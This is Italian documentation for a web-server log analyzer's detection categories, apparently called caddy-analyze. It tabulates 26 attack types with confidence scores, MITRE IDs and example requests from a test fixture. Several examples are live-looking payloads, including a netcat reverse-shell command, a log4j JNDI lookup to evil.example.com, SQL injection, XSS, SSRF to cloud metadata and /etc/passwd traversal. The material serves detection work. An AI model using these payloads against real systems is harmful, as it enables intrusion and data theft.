26 Categorie
Ogni riga: confidenza (il punteggio del relativo esempio di fixture), descrizione e un esempio reale da testdata/sample.log (non inventato). Tutti gli esempi usano IP TEST-NET e sono riproducibili tramite caddy-analyze --detect testdata/sample.log. ID MITRE verificati in MITRE e Sigma.
Confidenza
I pattern più forti per categoria ottengono punteggio 9–10 (ad es. UNION SELECT), le euristiche 6–7. Il valore predefinito di Guard --detect-confidence 8 blocca solo ≥8. Abbassarlo a 6 permette più blocchi da pattern; 0 disabilita solo i blocchi da pattern, non gli altri controlli di guard. Le categorie comportamentali (ua_rotation, object_enumeration, beaconing) richiedono ≥10 campioni.| # | Categoria | Confidenza | Descrizione | Esempio (dalla fixture) | MITRE |
|---|---|---|---|---|---|
| 1 | sql_injection | 8 | Parole chiave SQL + tautologia | /login.php?user=admin'+OR+'1'%3D'1'--+ | T1190 |
| 2 | nosql_injection | 8 | Operatori MongoDB | /api/login?username[$ne]=invalid | T1190 |
| 3 | xss | 8 | Tag script, gestori di eventi, URI JS | /search?q=%3Cscript%3Ealert(1)%3C/script%3E | T1059.007, T1189 |
| 4 | ssti | 8 | Sonde per template (Jinja, FreeMarker) | /profile?name={{7*7}} | T1190 |
| 5 | ssrf | 10 | Metadata cloud, IP privato, loopback | /fetch?url=http://169.254.169.254/latest/meta-data/ | T1190 |
| 6 | rce | 9 | Shell, reverse shell, LOLBin, deserializzazione | /cgi-bin/bash?cmd=nc+-e+/bin/sh+185.220.101.5+4444 | T1059, T1190 |
| 7 | path_traversal | 8 | Attraversamento directory, byte null, /proc, win.ini | /view?file=../../../../etc/passwd | T1083 |
| 8 | lfi_wrapper_abuse | 9 | Wrapper stream PHP | /?file=php://filter/convert.base64-encode/resource=index.php | T1083, T1190 |
| 9 | graphql_introspection | 8 | Query di scoperta dello schema | /graphql?query={__schema{types{...}}} | T1595.002 |
| 10 | log4j_jndi | 10 | Lookup JNDI, accesso env/sys | User-Agent: ${jndi:ldap://evil.example.com/a} | T1190, T1059 |
| 11 | sensitive_file_probe | 8 | .env, git, id_rsa, dump, .sql | /.env | T1083, T1552.001 |
| 12 | admin_probe | 8 | phpMyAdmin, Spring Actuator, H2, heapdump | /phpmyadmin/ | T1595.002 |
| 13 | wordpress_probe | 8 | xmlrpc, wp-content, plugin | /xmlrpc.php?rsd | T1595.002 |
| 14 | cgi_probe | 7 | cgi-bin, .cgi/.pl/.fcgi | /cgi-bin/test.cgi | T1595.002 |
| 15 | scanner | 9 | 30+ firme UA (nikto, sqlmap, nuclei…) | User-Agent: nikto/2.5.0 | T1595 |
| 16 | xxe | 8 | ENTITY SYSTEM, XInclude, jar:// | /api/xml?xml=%3C!DOCTYPE+foo+[<!ENTITY+xxe+SYSTEM+… | T1190 |
| 17 | open_redirect | 7 | ?url=https://, //evil, bypass @ | /login?next=https://evil.example.com/ | T1566.002 |
| 18 | ldap_injection | 8 | Caratteri di filtro (&, |, (), *) | /search?filter=(uid=*)) | T1190 |
| 19 | xpath_injection | 7 | Tautologia XPath, ]|//* | /search?q='%20OR%20'1'%3D'1 | T1190 |
| 20 | crlf_injection | 8 | Set-Cookie/Location tramite %0d%0a + bit fantasma | /redirect?to=/home%0d%0aSet-Cookie:%20evil=1 | T1190, T1059 |
| 21 | prototype_pollution | 8 | __proto__ / constructor.prototype | /api/update?__proto__[isAdmin]=1 | T1190, T1059.007 |
| 22 | ssi_injection | 8 | <!--#exec cmd=, #include virtual= | /page?name=%3C!--%23exec+cmd=%22ls%22--%3E | T1190, T1059 |
| 23 | ua_rotation | 6 | ≥10 UA distinti da un IP (euristica) | 11 UAs on /?r=0…10 from 198.51.100.32 | T1595.001 |
| 24 | jwt_abuse | 10 | alg:none, attraversamento kid, token esposto | Authorization: Bearer eyJhbGciOiJub25l… | T1550.001, T1190 |
| 25 | object_enumeration | 7 | ID sequenziali per template di percorso (BOLA) | /api/users/1 … /api/users/15 from 198.51.100.35 | T1595.002, T1190 |
| 26 | beaconing | 6 | Intervalli regolari per percorso, jitter CV<0.25 | /api/heartbeat every 60s ×12 from 198.51.100.36 | T1071.001, T1573 |
Tutti gli esempi provengono da testdata/sample.log tramite testdata/generate.py (deterministico, TEST-NET). Verifica localmente: caddy-analyze --detect testdata/sample.log dovrebbe attivare tutte e 26 le categorie. La confidenza mostrata è relativa a quell'esatto payload della fixture; i singoli pattern attualmente vanno da 2 a 10 — consulta evasione e Sigma per gate/marker.
Nessun esempio inventato
Ogni esempio sopra è stato letto da testdata/generate.py righe 107–217. Se una futura categoria non avrà una fixture, questa pagina indicherà “nessun esempio di fixture ancora” anziché inventarne uno.